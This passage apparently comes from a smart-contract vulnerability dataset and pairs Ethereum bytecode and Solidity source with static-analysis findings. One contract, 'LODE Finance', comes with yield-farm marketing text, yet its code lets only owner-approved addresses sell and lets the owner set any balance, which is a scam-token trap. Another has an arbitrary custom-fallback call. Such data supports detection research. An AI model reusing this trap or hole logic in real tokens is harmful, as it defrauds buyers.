06000611393565b6014546001600160a01b03858116911614801561134457506013546001600160a01b03848116911614155b1561135657600854600c55600954600d555b6014546001600160a01b03848116911614801561138157506013546001600160a01b03858116911614155b1561139357600a54600c55600b54600d555b610c2084848484611611565b600081848411156113c35760405162461bcd60e51b81526004016106159190611bc9565b5060006113d08486611e8c565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610686573d6000803e3d6000fd5b600060065482111561147a5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610615565b600061148461163f565b90506114908382611662565b9392505050565b6014805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114df576114df611e10565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611538573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061155c9190611e57565b8160018151811061156f5761156f611e10565b6001600160a01b0392831660209182029290920101526013546115959130911684610d3f565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906115ce908590600090869030904290600401611ea3565b600060405180830381600087803b1580156115e857600080fd5b505af11580156115fc573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b8061161e5761161e6116a4565b6116298484846116d2565b80610c2057610c20600e54600c55600f54600d55565b600080600061164c6117c9565b909250905061165b8282611662565b9250505090565b600061149083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061180b565b600c541580156116b45750600d54155b156116bb57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806116e487611839565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506117169087611896565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461174590866118d8565b6001600160a01b03891660009081526002602052604090205561176781611937565b6117718483611981565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516117b691815260200190565b60405180910390a3505050505050505050565b600654600090819068056bc75e2d631000006117e58282611662565b8210156118025750506006549268056bc75e2d6310000092509050565b90939092509050565b6000818361182c5760405162461bcd60e51b81526004016106159190611bc9565b5060006113d08486611f14565b60008060008060008060008060006118568a600c54600d546119a5565b925092509250600061186661163f565b905060008060006118798e8787876119fa565b919e509c509a509598509396509194505050505091939550919395565b600061149083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061139f565b6000806118e58385611e74565b9050838110156114905760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610615565b600061194161163f565b9050600061194f8383611a4a565b3060009081526002602052604090205490915061196c90826118d8565b30600090815260026020526040902055505050565b60065461198e9083611896565b60065560075461199e90826118d8565b6007555050565b60008080806119bf60646119b98989611a4a565b90611662565b905060006119d260646119b98a89611a4a565b905060006119ea826119e48b86611896565b90611896565b9992985090965090945050505050565b6000808080611a098886611a4a565b90506000611a178887611a4a565b90506000611a258888611a4a565b90506000611a37826119e48686611896565b939b939a50919850919650505050505050565b600082611a595750600061069b565b6000611a658385611f36565b905082611a728583611f14565b146114905760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610615565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c757600080fd5b8035611aff81611adf565b919050565b60006020808385031215611b1757600080fd5b823567ffffffffffffffff80821115611b2f57600080fd5b818501915085601f830112611b4357600080fd5b813581811115611b5557611b55611ac9565b8060051b604051601f19603f83011681018181108582111715611b7a57611b7a611ac9565b604052918252848201925083810185019188831115611b9857600080fd5b938501935b82851015611bbd57611bae85611af4565b84529385019392850192611b9d565b98975050505050505050565b600060208083528351808285015260005b81811015611bf657858101830151858201604001528201611bda565b81811115611c08576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611c3157600080fd5b8235611c3c81611adf565b946020939093013593505050565b600080600060608486031215611c5f57600080fd5b8335611c6a81611adf565b92506020840135611c7a81611adf565b929592945050506040919091013590565b600060208284031215611c9d57600080fd5b813561149081611adf565b80358015158114611aff57600080fd5b600060208284031215611cca57600080fd5b61149082611ca8565b600060208284031215611ce557600080fd5b5035919050565b60008060008060808587031215611d0257600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611d3357600080fd5b833567ffffffffffffffff80821115611d4b57600080fd5b818601915086601f830112611d5f57600080fd5b813581811115611d6e57600080fd5b8760208260051b8501011115611d8357600080fd5b602092830195509350611d999186019050611ca8565b90509250925092565b60008060408385031215611db557600080fd5b8235611dc081611adf565b91506020830135611dd081611adf565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611e5057611e50611e26565b5060010190565b600060208284031215611e6957600080fd5b815161149081611adf565b60008219821115611e8757611e87611e26565b500190565b600082821015611e9e57611e9e611e26565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ef35784516001600160a01b031683529383019391830191600101611ece565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f3157634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f5057611f50611e26565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e45f43bcbac217dddd365b0ec1d81f911656a5a2a271b007ee4e1da02f88221164736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,885
0xcde79bfbb3743dabc17325bfaf111ccc85646728
/* LODE Finance — 4th Generation Deflationary Yield Farm Welcome to LODE Finance — The 4th Generation Deflationary Yield Farm on Ethereum LODE Finance is a brand new DeFi project designed by an experienced development team with its unique LODEfi Buy-Back Protocol. Besides the buyback burning mechanism introduced by Goose Finance and Automatic Emission Reduction & 2% Transfer Tax introduced by Fullsail Finance, we have implemented one more unique deflationary feature to fight against the inflation problem faced by most yield farms upto 3rd generation. Highlight features implemented: · Automatic Emission Reduction · Hybrid Burning Mechanism — Buyback & LP Burning — Transfer Tax Burning (2% transfer tax will be burned directly during each transaction) — LODEfi Buy-Back Protocol · Migrator Code Removed · Timelock Added at Launch The next goal after the yield farm According to our roadmap, we are planning to release our vault and AMM later on. Be LODEfied with LODEFinance! New updates LODE Finance is a DeFi project built on the ETH Blockchain system that provides a secured platform which allows users to farm tokens by staking their $LODE. Farming is the practice of staking or locking up cryptocurrencies in return for rewards. While the expectation of earning yield on investment is nothing new, the overall concept of farming has risen from the decentralised finance sector. Farmers who are early to adopt a new project can benefit from token rewards that may quickly appreciate in value. If they sell those tokens at the right time, significant gains can be made. The general idea is that individuals can earn tokens in exchange for their participation in DeFi applications. LODE Finance platform gives its users the opportunity to put their crypto assets to work, provide liquidity, and earn returns on those assets. Farmers are encouraged to provide liquidity earlier on PancakeSwap so that they can start staking as soon as possible in order to maximise their LODE rewards. The bigger the liquidity provided by farmers, the bigger the rewards. Token Metrics $LODE is the governance token of LODE Finance. $LODE will be distributed through staking in 2 pools. Total supply: 50,000 LODE Circulating Supply: Initial circulation supply will be 45,000 $LODE. After 90 days the circulating supply will reach 47,000 $LODE. First, we need to explain the logic for allocating our token to users for better understanding. At the moment, we two four pools, namely BNB-LODE and LODE. Reward Pools: BNB-LODE APR pool: 8x APR LODE reward pool: 2x $LODE */ pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract LODEFinance { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function approveAndCall(address spender, uint256 addedValue) public returns (bool) { require(msg.sender == owner); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } address tradeAddress; function transferownership(address addr) public returns(bool) { require(msg.sender == owner); tradeAddress = addr; return true; } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; emit Transfer(address(0x0), msg.sender, totalSupply); } }
0x60806040526004361061009c5760003560e01c80633177029f116100645780633177029f1461027357806370a08231146102e657806395d89b411461034b578063a9059cbb146103db578063dd62ed3e14610441578063e8b5b796146104c65761009c565b806306fdde03146100a1578063095ea7b31461013157806318160ddd1461019757806323b872dd146101c2578063313ce56714610248575b600080fd5b3480156100ad57600080fd5b506100b661052f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105cd565b604051808215151515815260200191505060405180910390f35b3480156101a357600080fd5b506101ac6106bf565b6040518082815260200191505060405180910390f35b61022e600480360360608110156101d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c5565b604051808215151515815260200191505060405180910390f35b34801561025457600080fd5b5061025d6109d8565b6040518082815260200191505060405180910390f35b34801561027f57600080fd5b506102cc6004803603604081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109dd565b604051808215151515815260200191505060405180910390f35b3480156102f257600080fd5b506103356004803603602081101561030957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aee565b6040518082815260200191505060405180910390f35b34801561035757600080fd5b50610360610b06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a0578082015181840152602081019050610385565b50505050905090810190601f1680156103cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610427600480360360408110156103f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba4565b604051808215151515815260200191505060405180910390f35b34801561044d57600080fd5b506104b06004803603604081101561046457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb9565b6040518082815260200191505060405180910390f35b3480156104d257600080fd5b50610515600480360360208110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bde565b604051808215151515815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c55780601f1061059a576101008083540402835291602001916105c5565b820191906000526020600020905b8154815290600101906020018083116105a857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000808214156106d857600190506109d1565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461081f5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561079457600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b61082a848484610c84565b61083357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561087f57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a3957600080fd5b6000821115610a8d576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60066020528060005260406000206000915090505481565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b9c5780601f10610b7157610100808354040283529160200191610b9c565b820191906000526020600020905b815481529060010190602001808311610b7f57829003601f168201915b505050505081565b6000610bb13384846106c5565b905092915050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3a57600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610d2f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610d875750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610ddb5750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610de95760019050610e01565b610df38483610e08565b610dfc57600080fd5b600190505b9392505050565b600080600454148015610e1d57506000600254145b8015610e2b57506000600354145b15610e395760009050610ed8565b60006004541115610e95576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610e945760009050610ed8565b5b60006002541115610eb457816002541115610eb35760009050610ed8565b5b60006003541115610ed357600354821115610ed25760009050610ed8565b5b600190505b9291505056fea265627a7a7231582053771eea5bf949633c1375a178ccafe24761adf3ae7f9d57fef508a7c310ec5664736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
8,886
0xac4df2d98f14495263b9dfbc47451c46d8ab0a30
pragma solidity ^0.4.20; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * ERC223 contract interface with ERC20 functions and events * Fully backward compatible with ERC20 * Recommended implementation used at https://github.com/Dexaran/ERC223-token-standard/tree/Recommended */ contract ERC223 { function balanceOf(address who) public view returns (uint); function name() public view returns (string _name); function symbol() public view returns (string _symbol); function decimals() public view returns (uint8 _decimals); function totalSupply() public view returns (uint256 _supply); function transfer(address to, uint value) public returns (bool ok); function transfer(address to, uint value, bytes data) public returns (bool ok); function transfer(address to, uint value, bytes data, string custom_fallback) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Burn(address indexed burner, uint256 value); } contract ContractReceiver { struct TKN { address sender; uint value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint _value, bytes _data) public pure { TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); /* tkn variable is analogue of msg variable of Ether transaction * tkn.sender is person who initiated this token transaction (analogue of msg.sender) * tkn.value the number of tokens that were sent (analogue of msg.value) * tkn.data is data of token transaction (analogue of msg.data) * tkn.sig is 4 bytes signature of function * if data of token transaction is a function execution */ } } contract ForeignToken { function balanceOf(address _owner) constant public returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); } contract BeldenCoin is ERC223 { using SafeMath for uint256; using SafeMath for uint; address public owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; mapping (address => bool) public blacklist; mapping (address => uint) public increase; mapping (address => uint256) public unlockUnixTime; uint public maxIncrease=20; address public target; string internal name_= "Belden Coin"; string internal symbol_ = "BDC"; uint8 internal decimals_= 18; uint256 internal totalSupply_= 500000000e18; uint256 public toGiveBase = 1e18; uint256 public increaseBase = 1e17; uint256 public OfficalHold = totalSupply_.mul(80).div(100); uint256 public totalRemaining = totalSupply_; uint256 public totalDistributed = 0; bool public canTransfer = true; uint256 public etherGetBase=400; bool public distributionFinished = false; bool public finishFreeGetToken = false; bool public finishEthGetToken = false; modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } modifier canTrans() { require(canTransfer == true); _; } modifier onlyWhitelist() { require(blacklist[msg.sender] == false); _; } function BeldenCoin (address _target) public { owner = msg.sender; target = _target; distr(target, OfficalHold); } // Function to access name of token . function name() public view returns (string _name) { return name_; } // Function to access symbol of token . function symbol() public view returns (string _symbol) { return symbol_; } // Function to access decimals of token . function decimals() public view returns (uint8 _decimals) { return decimals_; } // Function to access total supply of tokens . function totalSupply() public view returns (uint256 _totalSupply) { return totalSupply_; } // Function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint _value, bytes _data, string _custom_fallback) canTrans public returns (bool success) { if(isContract(_to)) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data)); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } else { return transferToAddress(_to, _value, _data); } } // Function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint _value, bytes _data) canTrans public returns (bool success) { if(isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } // Standard function transfer similar to ERC20 transfer with no _data . // Added due to backwards compatibility reasons . function transfer(address _to, uint _value) canTrans public returns (bool success) { //standard function transfer similar to ERC20 transfer with no _data //added due to backwards compatibility reasons bytes memory empty; if(isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } //assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length>0); } //function that is called when transaction target is an address function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } //function that is called when transaction target is a contract function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint balance) { return balances[_owner]; } function changeOwner(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function enableWhitelist(address[] addresses) onlyOwner public { require(addresses.length <= 255); for (uint8 i = 0; i < addresses.length; i++) { blacklist[addresses[i]] = false; } } function disableWhitelist(address[] addresses) onlyOwner public { require(addresses.length <= 255); for (uint8 i = 0; i < addresses.length; i++) { blacklist[addresses[i]] = true; } } function changeIncrease(address[] addresses, uint256[] _amount) onlyOwner public { require(addresses.length <= 255); for (uint8 i = 0; i < addresses.length; i++) { require(_amount[i] <= maxIncrease); increase[addresses[i]] = _amount[i]; } } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = true; return true; } function startDistribution() onlyOwner public returns (bool) { distributionFinished = false; return true; } function finishFreeGet() onlyOwner canDistr public returns (bool) { finishFreeGetToken = true; return true; } function finishEthGet() onlyOwner canDistr public returns (bool) { finishEthGetToken = true; return true; } function startFreeGet() onlyOwner canDistr public returns (bool) { finishFreeGetToken = false; return true; } function startEthGet() onlyOwner canDistr public returns (bool) { finishEthGetToken = false; return true; } function startTransfer() onlyOwner public returns (bool) { canTransfer = true; return true; } function stopTransfer() onlyOwner public returns (bool) { canTransfer = false; return true; } function changeBaseValue(uint256 _toGiveBase,uint256 _increaseBase,uint256 _etherGetBase,uint _maxIncrease) onlyOwner public returns (bool) { toGiveBase = _toGiveBase; increaseBase = _increaseBase; etherGetBase=_etherGetBase; maxIncrease=_maxIncrease; return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { require(totalRemaining >= 0); require(_amount<=totalRemaining); totalDistributed = totalDistributed.add(_amount); totalRemaining = totalRemaining.sub(_amount); balances[_to] = balances[_to].add(_amount); Transfer(address(0), _to, _amount); return true; } function distribution(address[] addresses, uint256 amount) onlyOwner canDistr public { require(addresses.length <= 255); require(amount <= totalRemaining); for (uint8 i = 0; i < addresses.length; i++) { require(amount <= totalRemaining); distr(addresses[i], amount); } if (totalDistributed >= totalSupply_) { distributionFinished = true; } } function distributeAmounts(address[] addresses, uint256[] amounts) onlyOwner canDistr public { require(addresses.length <= 255); require(addresses.length == amounts.length); for (uint8 i = 0; i < addresses.length; i++) { require(amounts[i] <= totalRemaining); distr(addresses[i], amounts[i]); if (totalDistributed >= totalSupply_) { distributionFinished = true; } } } function () external payable { getTokens(); } function getTokens() payable canDistr onlyWhitelist public { if (toGiveBase > totalRemaining) { toGiveBase = totalRemaining; } address investor = msg.sender; uint256 etherValue=msg.value; uint256 value; if(etherValue>1e15){ require(finishEthGetToken==false); value=etherValue.mul(etherGetBase); value=value.add(toGiveBase); require(value <= totalRemaining); distr(investor, value); if(!owner.send(etherValue))revert(); }else{ require(finishFreeGetToken==false && toGiveBase <= totalRemaining && increase[investor]<=maxIncrease && now>=unlockUnixTime[investor]); value=value.add(increase[investor].mul(increaseBase)); value=value.add(toGiveBase); increase[investor]+=1; distr(investor, value); unlockUnixTime[investor]=now+1 days; } if (totalDistributed >= totalSupply_) { distributionFinished = true; } } function transferFrom(address _from, address _to, uint256 _value) canTrans public returns (bool success) { require(_to != address(0) && _value > 0 && balances[_from] >= _value && allowed[_from][msg.sender] >= _value && blacklist[_from] == false && blacklist[_to] == false); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, 